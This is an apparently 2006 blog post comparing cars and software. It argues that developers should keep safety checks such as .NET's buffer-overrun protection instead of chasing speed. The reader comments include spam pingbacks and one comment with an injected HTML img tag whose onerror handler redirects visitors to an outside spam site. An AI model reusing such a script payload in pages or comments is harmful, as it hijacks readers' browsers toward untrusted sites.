Why cars crash less than software
Cars and Software
Anyone who has ridden with me in a car knows that I am not a slow driver. But I do know my limits, and the limits of whatever car I am driving. In used to drive professionally and have a very safe driving record. My car can go faster than I drive, but I do not push it to it’s limit. Is it because of speed limits? No, the police in Turkey frequently do not pay attention to such items, and in Germany on the autobahn I’m free to drive as fast as I like in many areas. What is the reason then? Well its very simple – at certain speeds and of course including factors such as weather, road conditions, traffic, etc, there is a rational speed limit at which above it would be unsafe to drive. What does this have to do with software? Don’t worry, I’ll get to that.
Let’s also consider the features of a modern car. It’s equipped with head lights, anti-lock breaks, seat belts, air bags, safety frames, and more. Why is this? Because the goal of the average car is not to go as fast as it can, but instead to provide reliable and safe transportation while achieving normal and prudent speeds. If you want a fast car, get yourself a Formula 1 car. But you better be able to drive it, and you won’t be able to drive it around town for normal use.
Why then is it then that so many developers focus on speed at the sacrifice of safety? Surely we do not want our software to run slowly. But if our software runs fast enough for the users needs (reasonable and prudent) then why make the software more likely to crash by turning off safety features? And what if our software did run a little bit slower? Think about this – if you ask your users this question. Which would you prefer? Software that runs a little slower but is still usable and comfortable (A family car), or would they rather have software that runs a bit faster but crashes more often? (A car without seat belts, air bags, anti lock brakes etc). Essentially we need to ask ourselves. What do our users really want?
Should software run faster,
or crash less?
Faster Engines, Same Drivers
Computers have gotten faster but in general most business software already ran fast enough. Now of course there are exceptions, games, compression, encryption and so forth. But what do most users do (aside from core gamers)? They use business applications. We should be using the extra power to ensure safety of the programs, not trying to make something run faster that already runs as fast as the user requires it. Do you really need that menu to paint faster? Engines have gotten faster and more powerful for cars too. We’ve seen modest increases in driving habits, but speed limits aside drivers still drive about the same speed they did before. If you don’t believe me, spend some time studying traffic statistics. Why? Because the cars already can go faster than the driver needs.
User Experience
Even with more safety features, most modern computers will have power to spare. So what should we as developers do with it? Improve the user experience. Put in more safety checks. That’s certainly a way to improve the user experience – don’t crash, and if you do at least don’t trash their data.
Make interfaces more intuitive, more real life. In fact, this covers a lot of the goals of Windows Vista. On older computers it has an interface like XP. On more powerful ones it has a richer more natural, more useful experience. Sure there is a lot of 3D and flash, but sit down and use Vista. These user interface improvements are useful too.
There is no such thing as a debug car
C++ Developers (And to be fair, any native code compiler user) are famous for making two builds. One for speed as they say it, and one for debugging. If a user crashes too much the issue them a debug build, or often the debug build is used for beta testing. However in their release build the developer often does not just turn off some of the checks (buffer overruns, etc) they turn off everything, or at least nearly everything. Would you drive a car with all of it’s safety devices removed? Not very likely. So why do we do it with software? And what good does issuing a debug build after a crash do for the user? If it were a car, the user would already be injured or dead. Do you think that driver will be consoled by issuing him a new safer car (A debug car)? One that goes slower, but still faster than he needs? We as developers need to start thinking about the actual impact of bugs on our customers. Not just bug counts, or bug frequency, but the impacts of such bugs. Data loss can be catastrophic, and often is.
It’s not just about limiting injury. In many accidents the occupants injuries are lessened, and often averted. But think about things like ABS (anti lock braking systems). Not only can ABS lessen injury, in many cases it prevents an accident all together! The same principles exist in software, but if we do not put them in our software our users cannot benefit from them.
Enter .NET
Somehow I had to mention .NET. And of course I am. One of the reasons I originally took this job is I love .NET. .NET embodies many of the best practices I have long believed in, and it is forcing developers to start practicing and using methodology that computer scientists have long since adopted as good. Too many developers are habitual, and it often takes something like .NET to force them to change. What do I mean? There are many examples, but one primary one is .NET’s memory checking. In .NET it is impossible to have a buffer overrun. It just cannot happen. Why? Because there are no pointers for one, but also because the CLR checks for such items internally, and there is no way for a developer to turn it off. .NET implements and forces this and many other best practices on developers.
Can .NET applications crash? Sure they can. Developers will always create their own bugs. But the difference is in severity of the outcome. Just as in a car, if you have a crash of the same scenario of a car with safety devices and one without, the one with safety devices is much better at protecting is occupants. Don’t believe me? Again do some data analysis of traffic accidents. While in a few rare cases not wearing a seat belt may have saved a life, seat belts save magnitudes more lives than they take. In fact, of all the safety devices in a car, putting on your seat belt alone is the single largest safety step you can take. By itself it out does every other safety device in cars today. Now imagine if we equip our software with seat belts. But just as it was very difficult (and still is in many parts of the world) to get people to actually use their seat belts, we have the same issues with developers. Education, conviction, and habits.
Thoughts
What do you think? Which do users want? More stable software? Or faster? Of course both – but at least which one has priority? Use the post a comment link below (on the web version, open in web browser if you do not see it) to provide your feedback.
Comments
Anonymous
January 24, 2006
Brilliant and thoughtful. Bravo!Anonymous
January 24, 2006
Actually I've read about software being compared with cars a few times in the past, but not in that extensive, but entertaining way.
Imo users want always both fast and secure cars. Often they don't care about security - until they hit a tree in the worst case.
The designers of cars/software have a big liability to provide stable/secure products. Quick hacked products, without reasonable time spent on the chosen tools and frameworks should never be sold/bought.
There have been seat belts before .NET was invented, but .NET makes it much more easy to actually use them.
Would you drive a wreck car, "constructed" by somebody you don't know, built in a muddy backyard, where the "engineers" maybe even don't know what a seat belt is?Anonymous
January 27, 2006
The comment has been removedAnonymous
March 07, 2006
Just loved the comparision.
Agree with you we need secure systems than faster one.
Cheers,
SwetaAnonymous
March 08, 2006
The comment has been removedAnonymous
November 01, 2006
Cars are useful in our days, but without <a href=http://www.about-software.info/>software</a> we can't live too.Anonymous
September 07, 2007
Software by its nature is open and flexible. That’s what makes it so powerful. Car is a fixed hardware defined and controlled one the particular manufacture. Where as Windows OS has to work with many different hardware manufacture and support many different software publishers. It’s not a good direct comparison. Computer crash because software are badly written causing memory leaks and memory overrun. Before .NET, managed code, it’s up to the programmers to allocate and manage memory usage properly. When memory aren’t released after usage, you will get memory leaks. When you don’t use allocated memory properly, you will overwrite other memory buffer or instruction code causing crashes. With managed code, the situation has gotten better.Anonymous
December 18, 2007
PingBack from http://oneadayvitamin.info/?p=5725Anonymous
December 18, 2007
PingBack from http://organic.oneadayvitamin.info/?p=16588Anonymous
December 28, 2007
PingBack from http://test.oneadayvitamin.info/?p=7Anonymous
December 29, 2007
PingBack from http://cars.oneadayvitamin.info/?p=7Anonymous
April 11, 2008
Good idea! P.S. A U realy girl?Anonymous
April 11, 2008
my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">Anonymous
June 09, 2009
PingBack from http://weakbladder.info/story.php?id=6987Anonymous
June 12, 2009
PingBack from http://cellulitecreamsite.info/story.php?id=11270Anonymous
June 19, 2009
PingBack from http://mydebtconsolidator.info/story.php?id=5824
